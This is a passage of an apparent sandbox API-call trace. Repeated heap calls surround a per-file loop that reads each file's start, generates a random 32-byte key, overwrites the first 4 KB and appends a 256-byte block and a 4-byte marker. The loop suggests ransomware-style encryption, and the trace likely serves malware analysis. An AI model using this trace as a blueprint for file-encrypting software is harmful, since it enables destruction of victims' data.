hHeap=0x540000) returned 1 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.505] GetProcessHeap () returned 0x540000 [0086.505] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.506] GetProcessHeap () returned 0x540000 [0086.506] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.507] GetProcessHeap () returned 0x540000 [0086.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.507] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.507] WriteFile (in: hFile=0x940, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.508] WriteFile (in: hFile=0x940, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.508] GetProcessHeap () returned 0x540000 [0086.508] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.508] GetProcessHeap () returned 0x540000 [0086.508] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.508] GetProcessHeap () returned 0x540000 [0086.508] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.508] CloseHandle (hObject=0x940) returned 1 [0086.509] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 114 [0086.510] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.510] ReadFile (in: hFile=0x944, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.510] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.510] GetProcessHeap () returned 0x540000 [0086.510] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.510] GetProcessHeap () returned 0x540000 [0086.510] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.510] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.510] GetProcessHeap () returned 0x540000 [0086.510] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.510] ReadFile (in: hFile=0x944, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.558] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.558] WriteFile (in: hFile=0x944, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.558] GetProcessHeap () returned 0x540000 [0086.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.558] GetProcessHeap () returned 0x540000 [0086.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.558] GetProcessHeap () returned 0x540000 [0086.558] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0086.558] GetProcessHeap () returned 0x540000 [0086.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.558] GetProcessHeap () returned 0x540000 [0086.558] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.558] GetProcessHeap () returned 0x540000 [0086.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.558] GetProcessHeap () returned 0x540000 [0086.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.558] GetProcessHeap () returned 0x540000 [0086.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.558] GetProcessHeap () returned 0x540000 [0086.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.558] GetProcessHeap () returned 0x540000 [0086.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.558] GetProcessHeap () returned 0x540000 [0086.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.559] GetProcessHeap () returned 0x540000 [0086.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.560] GetProcessHeap () returned 0x540000 [0086.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.561] GetProcessHeap () returned 0x540000 [0086.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.562] GetProcessHeap () returned 0x540000 [0086.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.562] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.562] WriteFile (in: hFile=0x944, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.563] WriteFile (in: hFile=0x944, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.563] GetProcessHeap () returned 0x540000 [0086.563] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.563] GetProcessHeap () returned 0x540000 [0086.563] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.563] GetProcessHeap () returned 0x540000 [0086.563] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.563] CloseHandle (hObject=0x944) returned 1 [0086.564] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 115 [0086.564] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.564] ReadFile (in: hFile=0x948, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.564] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.564] GetProcessHeap () returned 0x540000 [0086.564] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.564] GetProcessHeap () returned 0x540000 [0086.564] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.564] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.564] GetProcessHeap () returned 0x540000 [0086.564] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.564] ReadFile (in: hFile=0x948, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.619] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.619] WriteFile (in: hFile=0x948, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.620] GetProcessHeap () returned 0x540000 [0086.620] 